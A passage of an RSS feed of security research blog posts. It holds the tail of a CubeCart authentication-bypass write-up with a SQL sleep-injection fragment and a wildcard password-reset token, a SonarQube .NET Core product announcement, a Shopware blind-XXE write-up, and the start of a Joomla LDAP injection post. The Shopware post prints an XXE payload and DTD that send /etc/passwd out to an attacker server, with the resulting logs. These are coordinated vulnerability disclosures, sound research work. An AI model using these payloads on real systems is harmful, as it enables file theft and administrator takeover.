AND `verify`  IN (0) OR sleep(10);&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Authentication Bypass&lt;/h2&gt;&lt;p&gt;Our second vulnerability is only a few lines away from our SQL injection vulnerability showing that we actually do not need to inject SQL syntax to gain access as an administrator. The &lt;code&gt;where()&lt;/code&gt; method of the &lt;code&gt;database.class.php&lt;/code&gt; file also introduces &lt;em&gt;search modifiers&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/cubecart.class.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;807    public function where($table, $whereArray = null, $label = false) {
808        ⋮
809        foreach ($whereArray as $key =&gt; $value) {
810            ⋮
811            if (isset($value) &amp;&amp; !ctype_alnum($value) || $value==&apos;NULL&apos; || 
812                is_null($value) || $value==&apos;NOT NULL&apos;) {
813                    if(preg_match(&apos;#^([&lt;&gt;!~\+\-]=?)(.+)#&apos;,$value, $match)){
814                        switch ($match[1]) {
815                            case &apos;~&apos;:
816                                // Fuzzy searching
817                                $symbol = &apos;LIKE&apos;;
818                                $value = &quot;%{$match[2]}%&quot;;
819                                break;
820                            default:
821                                $symbol = $match[1];
822                                $value = trim($match[2]);
823                        }
824                    }
825                }
826                $full_key = ($label ? $label : $this-&gt;_prefix.$table).&quot;.&quot;.$key;
827                ⋮
828                $where[] = &quot;$full_key $symbol &quot;.$this-&gt;sqlSafe($value, true);
829	
830        ⋮
831        return &apos;WHERE &apos;.implode(&apos; AND &apos;, $where);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Basically the &lt;code&gt;where()&lt;/code&gt; method checks the input values for special characters (&lt;code&gt;&amp;lt; &amp;gt; ~ ! + -&lt;/code&gt;) ultimately effecting which comparison operator will be used in the &lt;code&gt;WHERE&lt;/code&gt; clause of the SQL query. For example, a prefixed tilde character (&lt;code&gt;~&lt;/code&gt;) in a value will construct a SQL query with a &lt;code&gt;LIKE&lt;/code&gt; syntax (line 817-818). A &lt;code&gt;LIKE&lt;/code&gt; operation does not require an exact match in the database but allows wildcard characters (&lt;code&gt;%&lt;/code&gt;). This can be abused to bypass the check for a valid password reset token. All we have to do is to prefix our password reset token with a &lt;code&gt;~&lt;/code&gt; character and to put as many wildcard characters into the password reset token as the expected token length is. This will result in the following &lt;code&gt;SELECT&lt;/code&gt; query:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;select * from CubeCart_customer where email = &apos;contact@ripstech.com&apos; 
 and verify LIKE &apos;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;WHERE&lt;/code&gt; condition that requires a correct verify token will evaluate to true almost all the time with our crafted verification token and is thus bypassed. This allows an adversary to reset the password of an administrator in a matter of seconds and to login as admin. In the administration panel, an attacker can then abuse admin features to execute arbitrary PHP code.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/10/11&lt;/td&gt;&lt;td&gt;Provided vulnerability details and PoC to vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/10/11&lt;/td&gt;&lt;td&gt;Vendor confirmed security issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/10/16&lt;/td&gt;&lt;td&gt;Vendor released 6.1.12 version&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/11/23&lt;/td&gt;&lt;td&gt;Vendor informed about additional issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/11/29&lt;/td&gt;&lt;td&gt;Vendor released 6.1.13 fixed version&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;We detected two critical issues that allow an attacker to bypass CubeCart’s authentication and to login as an administrator. The security issues base on a custom database abstraction layer that compiles SQL queries in an unsafe manner. Due to the absence of prepared statements and custom SQL concatenation features, an attacker can malform the SQL query that is used for authentication in order to bypass it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the CubeCart team for their very fast and professional handling of these issues. They responded immediately to our report and released a fixed version rapidly. We recommend to update to CubeCart 6.1.13 immediately.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/cubecart-admin-authentication-bypass/&quot;&gt;Exploiting Hibernate Injections&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/cubecart-admin-authentication-bypass/&quot;&gt;Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/cubecart-admin-authentication-bypass/&quot;&gt;Backend SQL Injection in BigTree CMS 4.4.6&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/cubecart-admin-authentication-bypass/&quot;&gt;dotCMS 5.1.5: Exploiting H2 SQL injection to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/cubecart-admin-authentication-bypass/&quot;&gt;Joomla! 3.8.3: Privilege Escalation via SQL Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/cubecart-admin-authentication-bypass/&quot;&gt;Pre-Auth Takeover of OXID eShops&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/cubecart-admin-authentication-bypass/&quot;&gt;Breaking Into Your Company&amp;#x27;s Internal Network - SuiteCRM 7.11.4&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Supporting analysis of .NET Core projects]]></title><description><![CDATA[Support for SonarQube analysis of projects in the new MSBuild v15 format has been one of the features most requested by the Microsoft community, now it's done !]]></description><link>https://www.sonarsource.com/blog/supporting-analysis-of-net-core-projects</link><guid isPermaLink="false">5e2b95cd-d9cc-562d-ba65-42ecc5f68afb</guid><dc:creator><![CDATA[Duncan Pocklington]]></dc:creator><pubDate>Wed, 10 Jan 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Support for SonarQube analysis of projects in the new MSBuild v15 format (of which .NET Core projects are the best-known example) has been one of the features most requested by the Microsoft community. We are pleased to announce this is now supported in the latest releases of the &lt;a href=&quot;https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner+for+MSBuild&quot;&gt;&lt;em&gt;SonarQube&lt;/em&gt;&lt;/a&gt; &lt;em&gt;Scanner for MSBuild&lt;/em&gt; (&lt;em&gt;v4.0)&lt;/em&gt; and &lt;a href=&quot;https://www.sonarlint.org/visualstudio/index.html&quot;&gt;&lt;em&gt;Sonarlint for Visual Studio (v3.8)&lt;/em&gt;&lt;/a&gt;. In addition, MSBuild v15 projects that produce output for multiple platforms are supported, and we have started adding support for analysis on non-Windows machines.&lt;/p&gt;&lt;h2&gt;SonarLint for Visual Studio 2017 Connected Mode now supports .NET Core projects&lt;/h2&gt;&lt;p&gt;Previously, SonarLint did not recognise the project type used for C# and Visual Basic projects in the new MSBuild 15 format, and so would not update the project with the required references to the analyzers or the ruleset that was generated to match the Quality Profile on the SonarQube server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=SonarSource.SonarLintforVisualStudio2017&quot;&gt;SonarLint for Visual Studio 2017&lt;/a&gt; now supports both the old-style MSBuild project format (i.e. the analyzer NuGet package is referenced in the &lt;em&gt;packages.config&lt;/em&gt; file and the analyzer assemblies are referenced in the project file) and the new format (i.e. the analyzer NuGet package is referenced directly in the project file). Solutions can contain projects in both formats.&lt;/p&gt;&lt;h2&gt;What about .NET Core projects in Visual Studio 2015?&lt;/h2&gt;&lt;p&gt;As Microsoft does not support the &lt;em&gt;.xproj&lt;/em&gt; tooling in VS2015 and is actively encouraging developers to migrate to the tooling that is &lt;a href=&quot;https://blogs.msdn.microsoft.com/dotnet/2016/10/19/net-core-tooling-in-visual-studio-15/&quot;&gt;supported in VS2017&lt;/a&gt;, we decided not to add support for &lt;em&gt;.xproj&lt;/em&gt; to &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=SonarSource.SonarLintforVisualStudio&quot;&gt;SonarLint for Visual Studio 2015&lt;/a&gt;. However, we are continuing to release SonarLint for VS2015 at the same time as SonarLint for VS2017, so users of VS2015 can benefit from the new rules and bug fixes in the &lt;em&gt;SonarC#&lt;/em&gt; and &lt;em&gt;SonarVB&lt;/em&gt; code analyzers.&lt;/p&gt;&lt;h2&gt;Support for projects targeting multiple frameworks&lt;/h2&gt;&lt;p&gt;The new MSBuild project format makes it easy to have a single project that targets multiple frameworks (e.g. netstandard1.3;netstandard1.4;net462). Building the project will produce multiple assemblies, one per target framework. Such projects usually contain #if TARGET_PLATFORM conditional compilation directives in the code to handle platform-specific behaviour. This means that each assembly can have different code analysis issues and different metrics (e.g. lines of code and &lt;a href=&quot;https://www.sonarsource.com/resources/white-papers/cognitive-complexity.html&quot;&gt;cognitive complexity&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is not a problem for the developer when working in the IDE; the developer chooses which platform is currently “active” and Visual Studio will only analyze the code associated with that platform.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, it does make a difference when sending the analysis results to SonarQube. The &lt;em&gt;SonarQube Scanner for MSBuild&lt;/em&gt; takes a pragmatic approach - it analyses all of the assemblies and combines the issues so that issues that occur in more than one assembly are only reported once. The story with code metrics is slightly more complicated. For example, it isn’t obvious how to calculate or report the complexity of a method that contains conditional compilation. In this version, we take the simple approach of uploading only one set of the metrics. We might change the behaviour in the future based on user feedback (which can be provided via the &lt;a href=&quot;https://groups.google.com/forum/#!forum/sonarqube&quot;&gt;SonarQube Google group&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Note: the version of the project metrics to upload is chosen deterministically by ordering the assemblies by Configuration-Platform-TargetFramework and then picking the first one (see &lt;a href=&quot;https://github.com/SonarSource/sonar-scanner-msbuild/blob/master/SonarScanner.Shim/PropertiesFileGenerator.cs#L257&quot;&gt;here&lt;/a&gt; for the actual code).&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;Running analysis on non-Windows platforms&lt;/h2&gt;&lt;h3&gt;Command line analysis&lt;/h3&gt;&lt;p&gt;The release of &lt;a href=&quot;https://blogs.msdn.microsoft.com/dotnet/2017/08/14/announcing-net-standard-2-0/&quot;&gt;.NET Standard 2.0&lt;/a&gt; by Microsoft simplified the job of porting .NET applications to non-Windows platforms. That made it much easier for us to port the &lt;em&gt;SonarC#&lt;/em&gt; and &lt;em&gt;SonarVB&lt;/em&gt; code analyzers and &lt;em&gt;SonarQube Scanner for MSBuild&lt;/em&gt; so that it is now possible to run an analysis from the command line on Linux and iOS. Have a look at the &lt;a href=&quot;https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner+for+MSBuild&quot;&gt;online documentation&lt;/a&gt; for detailed instructions on how to set this up.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Currently it is necessary to have Mono v5.4 installed for the &lt;em&gt;Scanner for MSBuild&lt;/em&gt; to run on non-Windows platforms. This requirement might be dropped in the future if we can remove some of the existing dependencies from the scanner.&lt;/p&gt;&lt;h3&gt;CI integration in VSTS&lt;/h3&gt;&lt;p&gt;The current version (v3) of the &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=SonarSource.sonarqube&quot;&gt;SonarQube extension for VSTS&lt;/a&gt; will only work on Windows build agents as it is written in PowerShell. We are currently re-writing the extension in NodeJS to make it possible to use the extension on non-Windows build agents as well.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The re-write of the extension is part of a larger piece of work that will simplify and consolidate the configuration of SonarQube and &lt;a href=&quot;https://about.sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; analysis for other types of projects. Currently, the SonarQube VSTS extension only handles .NET projects, with the analysis of Maven and Gradle projects being handled separately in the Java build task. The next version of the VSTS extension will provide a single set of tasks that will be used across all project types, as well as being runnable on non-Windows build agents. Watch this space…&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As ever, we are interested in your feedback which can be provided using the &lt;a href=&quot;https://groups.google.com/forum/#!forum/sonarqube&quot;&gt;SonarQube Google group&lt;/a&gt;. Alternatively, you can track issues and the current work in progress using the following links: &lt;a href=&quot;https://github.com/SonarSource/sonarlint-visualstudio/issues&quot;&gt;SonarLint for VS&lt;/a&gt;, &lt;a href=&quot;https://jira.sonarsource.com/browse/SONARMSBRU/?selectedTab=com.atlassian.jira.jira-projects-plugin:issues-panel&quot;&gt;Scanner for MSBuild&lt;/a&gt;, &lt;a href=&quot;https://github.com/SonarSource/sonar-csharp/issues&quot;&gt;SonarC# and SonarVB code analyzers&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Shopware 5.3.3: PHP Object Instantiation to Blind XXE]]></title><description><![CDATA[Shopware is a popular e-commerce software that bases on Symfony, Doctrine and the Zend Framework. In this blog post we investigate the exploitation of a rare PHP object instantiation vulnerability (CVE-2017-18357).]]></description><link>https://www.sonarsource.com/blog/shopware-php-object-instantiation-to-blind-xxe</link><guid isPermaLink="false">ffdd53a5-a722-5149-bb7a-16232810128c</guid><dc:creator><![CDATA[Karim El Ouerghemmi]]></dc:creator><pubDate>Tue, 07 Nov 2017 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://shopware.com/&quot;&gt;Shopware&lt;/a&gt; is a popular e-commerce software. We discovered two vulnerabilities in the code that bases on Symfony, Doctrine and the Zend Framework. In this blog post we investigate the exploitation of a rare &lt;em&gt;PHP object instantiation &lt;/em&gt;vulnerability (CVE-2017-18357).&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Who is affected&lt;/h2&gt;&lt;p&gt;Installations with following requirements are affected by this vulnerabilities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Shopware version &amp;lt;= 5.3.3 and &amp;gt;= 5.1&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact - What can an attacker do&lt;/h2&gt;&lt;p&gt;In order to exploit the found vulnerabilities an attacker needs to be able to use the backend functionality of Shopware, specifically, the configuration of product streams. However, it is sufficient if the attacker can control the session of an account with limited permissions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Successfully exploiting the object instantiation vulnerability grants an attacker the ability to instantiate an object in the PHP application of an arbitrary class. By using a blind XXE attack described in this blog post, this can lead to the disclosure of any file on the server (as long as the user associated with the PHP process has the required permissions). This can for example, be any confidential file of the shopware installation like &lt;code&gt;config.php&lt;/code&gt; which contains the database credentials.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;PHP Object Instantiation&lt;/h2&gt;&lt;p&gt;In this section we will technically analyse the object instantiation vulnerability by examining the flow of data from the input to the dangerous sink. Furthermore, we will present a way of how such a vulnerability can be exploited by escalating it into a blind XXE attack. This sort of vulnerability is not very often to find, and thus an interesting candidate for our inspection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;RIPS automatically identified the object instantiation vulnerability that spans over multiple files and classes. The point of injection resides in the feature to preview product streams in the shopware backend. Here, the user parameter &lt;code&gt;sort&lt;/code&gt; is received in the &lt;code&gt;loadPreviewAction()&lt;/code&gt; method of the &lt;code&gt;Shopware_Controllers_Backend_ProductStream&lt;/code&gt; controller.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Controllers/Backend/ProductStream.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    class Shopware_Controllers_Backend_ProductStream extends Shopware_Controllers_Backend_Application
 2    {
 3        public function loadPreviewAction()
 4        {
 5            ⋮
 6            $sorting = $this-&gt;Request()-&gt;getParam(&apos;sort&apos;);
 7            ⋮
 8            $streamRepo = $this-&gt;get(&apos;shopware_product_stream.repository&apos;);
 9            $streamRepo-&gt;unserialize($sorting);
10            ⋮
11        }
12    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The input is then forwarded to the &lt;code&gt;unserialize()&lt;/code&gt; method of &lt;code&gt;Shopware\Components\ProductStream\Repository&lt;/code&gt;. Note that this is &lt;strong&gt;not &lt;/strong&gt;a &lt;em&gt;PHP Object Injection &lt;/em&gt;vulnerability and a custom &lt;code&gt;unserialize()&lt;/code&gt; method. This method calls another &lt;code&gt;unserialize()&lt;/code&gt; method of &lt;code&gt;Shopware\Components\LogawareReflectionHelper&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Components/ProductStream/Repository.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    namespace Shopware\Components\ProductStream;
 2    class Repository implements RepositoryInterface
 3    {
 4        public function unserialize($serializedConditions)
 5        {
 6            return $this-&gt;reflector-&gt;unserialize($serializedConditions, &apos;Serialization error in Product stream&apos;);
 7        }
 8    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The user input is passed along in the first parameter. Here, it ends up in a foreach loop.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Components/LogawareReflectionHelper.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    namespace Shopware\Components;
 2    class LogawareReflectionHelper
 3    {
 4        public function unserialize($serialized, $errorSource)
 5        {
 6            classes = [];
 7            foreach($serialized as $className =&gt; $arguments)
 8            {
 9                ⋮
10                $classes[] = $this-&gt;reflector-&gt;createInstanceFromNamedArguments($className, $arguments);
11                ⋮
12            }
13            return $classes;
14        }
15    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Each array key of the user input is then passed to a &lt;code&gt;createInstanceFromNamedArguments()&lt;/code&gt; method as &lt;code&gt;$className&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Components/LogawareReflectionHelper.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    namespace Shopware\Components;
 2    class ReflectionHelper
 3    {
 4        public function createInstanceFromNamedArguments($className, $arguments)
 5        {
 6            $reflectionClass = new \ReflectionClass($className);
 7            ⋮
 8            $constructorParams = $reflectionClass-&gt;getConstructor()-&gt;getParameters();
 9            ⋮
10            // Check if all required parameters are given in $arguments
11            ⋮
12            return $reflectionClass-&gt;newInstanceArgs($arguments);
13        }
14    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, the keypoint is the instantiation of an object with &lt;code&gt;ReflectionClass&lt;/code&gt; of the type specified in &lt;code&gt;$className&lt;/code&gt;. The invokation of the &lt;code&gt;newInstanceArgs()&lt;/code&gt; method with user controlled input in &lt;code&gt;$arguments&lt;/code&gt; allows to specify the arguments of the constructor &lt;code&gt;ReflectionClass&lt;/code&gt; is part of the reflection API introduced with PHP 5. It allows retrieving information (available methods, their awaited parameters, etc.) about all classes accessible at a given point during execution. As the name implies, &lt;code&gt;newInstanceArgs()&lt;/code&gt; creates an instance of a class with given parameters. So basically at this point, we can &lt;strong&gt;instantiate arbitrary objects&lt;/strong&gt;.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Blind XXE&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s take a look at how such a vulnerability can be exploited. An attacker that can control the input sent to the &lt;code&gt;loadPreviewAction()&lt;/code&gt; method for product streams can provoke the instantiation of an arbitrary object with chosen parameters. Exploiting an object instantiation vulnerability with chosen parameters presents nearly the same challenges to an attacker as exploiting an object injection vulnerability. The difference is that instead of the magic method &lt;code&gt;__wakeup()&lt;/code&gt; that gets called when an object is unserialized, &lt;code&gt;__construct()&lt;/code&gt; gets called. Inspecting the lifecycle of an injected dummy object revealed that the following methods of its methods get called:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1. __construct()
2. __call() if method getName() not available. Else getName()
3. __destruct()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So what is left to do is to find a class available at runtime in which one of the above methods is implemented in an advantageous manner. Unfortunately we could not find any such class in the Shopware code base.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, at runtime also the PHP built-in classes are available! An interesting class of which one could instantiate an object in such a situation is &lt;code&gt;SimpleXMLElement&lt;/code&gt;. This class is part of the PHP SimpleXML extension which is available on most PHP installations. When instantiating an object of &lt;code&gt;SimpleXMLElement&lt;/code&gt;, the data passed to its constructor is parsed as XML. This can be exploited to launch an &lt;a href=&quot;https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing&quot;&gt;XML External Entity (XXE)&lt;/a&gt; attack. The signature of the constructor of SimpleXMLElement looks like the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = false 
    [, string $ns = &quot;&quot; [, bool $is_prefix = false ]]]] )&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As the third parameter &lt;code&gt;$data_is_url&lt;/code&gt; might imply, it&amp;#x27;s even possible to pass an URL to an external XML file which should be parsed. The following XML and DTD example shows how this can be abused to read any file on the targeted system that the web server&amp;#x27;s privileges allow access to.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;xxe.xml&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?xml version=&quot;1.0&quot; ?&gt;
&lt;!DOCTYPE r [
&lt;!ELEMENT r ANY &gt;
&lt;!ENTITY % sp SYSTEM &quot;http://1.3.3.7:8000/xxe.dtd&quot;&gt;
%sp;
%param1;
]&gt;
&lt;r&gt;&amp;exfil;&lt;/r&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;xxe.dtd&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;!ENTITY % data SYSTEM &quot;php://filter/convert.base64-encode/resource=/etc/passwd&quot;&gt;
&lt;!ENTITY % param1 &quot;&lt;!ENTITY exfil SYSTEM &apos;http://1.3.3.7:8000/?%data;&apos;&gt;&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;First, the object instantiation vulnerability is used to instantiate a &lt;code&gt;SimpleXMLElement&lt;/code&gt; object with the appropriate parameters. The parameter &lt;code&gt;$options&lt;/code&gt; must be set to &lt;code&gt;LIBXML_NOENT&lt;/code&gt; in order to activate entity substitution which is required for the XXE to work. The parameter &lt;code&gt;$data_is_url&lt;/code&gt; is set to true and the &lt;code&gt;$data&lt;/code&gt; points to the attackers &lt;code&gt;xxe.xml&lt;/code&gt; file. When the XML file is parsed by the injected &lt;code&gt;SimpleXMLElement&lt;/code&gt; object, it reads the &lt;code&gt;/etc/passwd&lt;/code&gt; file from the file system and sends its content base64 encoded back to the attackers web server.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1.2.3.4 - - [07/Nov/2017 13:55:54] &quot;GET /xxe.xml HTTP/1.0&quot; 200 -
1.2.3.4 - - [07/Nov/2017 13:55:54] &quot;GET /xxe.dtd HTTP/1.0&quot; 200 -
1.2.3.4 - - [07/Nov/2017 13:55:54] &quot;GET /?cm9vdDp4OjA290Oi9iaW4vYmF....== HTTP/1.0&quot; 200 -&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, the attacker can read the content of the desired file by reviewing his web server&amp;#x27;s log file and base64 decoding the received log entry.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;br/&gt;&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;Date&lt;/td&gt;&lt;td&gt;What&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/09/13&lt;/td&gt;&lt;td&gt;Reported vulnerabilities in Shopware ticket system&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/09/14&lt;/td&gt;&lt;td&gt;Coordinated disclosure timeline with vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/10/02&lt;/td&gt;&lt;td&gt;Vendor fixed issues in code base&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/10/24&lt;/td&gt;&lt;td&gt;Vendor released fixed version 5.3.4&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;We analyzed the community edition of the popular e-commerce software Shopware as part of our PHP vulnerability research that contributes to open source security. We identified two security issues in the code base. In this post we analyzed a unique and cool object instantiation vulnerability and presented a way of how such a vulnerability can be escalated into a blind XXE attack leading to arbitrary file disclosure.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the team behind Shopware for their professional collaboration and for quickly resolving the issues with the release of version &lt;a href=&quot;http://community.shopware.com/_detail_2035.html&quot;&gt;5.3.4&lt;/a&gt;. If you are still using an older version, we encourage to update.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection]]></title><description><![CDATA[Joomla! is one of the most popular content management systems. We detected a previously unknown LDAP injection vulnerability in the login controller that could allow remote attackers to leak the super user password and to fully take over any Joomla! installation.]]></description><link>https://www.sonarsource.com/blog/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596</link><guid isPermaLink="false">95b44085-9296-5882-a12d-9410426a0c9e</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Wed, 20 Sep 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/nkDmpeaztPg&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;With over &lt;a href=&quot;https://downloads.joomla.org/&quot;&gt;84 million downloads&lt;/a&gt;, Joomla! is one of the most popular content management systems. We detected a previously unknown LDAP injection vulnerability in the login controller. This one vulnerability could allow remote attackers to leak the super user password and to fully take over any Joomla! &amp;lt;= 3.7.5 installation that uses LDAP for authentication.&lt;/p&gt;&lt;h2&gt;Requirements - Who is affected&lt;/h2&gt;&lt;p&gt;Joomla! powers about &lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla/all/all&quot;&gt;3.3%&lt;/a&gt; of all websites’ content and articles. Installations with the following requirements are affected by this vulnerability:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Joomla! version 1.5 &amp;lt;= 3.7.5 is installed&lt;/li&gt;&lt;li&gt;Joomla! is configured to use &lt;a href=&quot;https://docs.joomla.org/LDAP_Authentication&quot;&gt;LDAP for authentication&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is not a configuration flaw and an attacker does not need any privileges to exploit this vulnerability.&lt;/p&gt;&lt;h2&gt;Impact - What can an attacker do&lt;/h2&gt;&lt;p&gt;By exploiting a vulnerability in the login page, an unprivileged remote attacker can efficiently extract all authentication credentials of the LDAP server that is used by the Joomla! installation. These include the username and password of the &lt;em&gt;super user&lt;/em&gt;, the Joomla! administrator. An attacker can then use the hijacked information to login to the administrator control panel and to take over the Joomla! installation, as well as potentially the web server, by uploading custom Joomla! extensions for remote code execution.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Vulnerability Analysis - CVE-2017-14596&lt;/h2&gt;&lt;p&gt;We identified a vulnerability that spans over the following nested code lines. First, in the &lt;code&gt;LoginController&lt;/code&gt; the Joomla! application receives the user-supplied credentials from the login form in line 62.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/administrator/components/com_login/controller.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;54    class LoginController extends JControllerLegacy
55    {
56        public function login()
57        {
58            ⋮
59            $app = JFactory::getApplication();
60            ⋮
61            $model = $this-&gt;getModel(&apos;login&apos;);
62            $credentials = $model-&gt;getState(&apos;credentials&apos;);
63            ⋮
64            $app-&gt;login($credentials, array(&apos;action&apos; =&gt; &apos;core.login.admin&apos;));
65        }
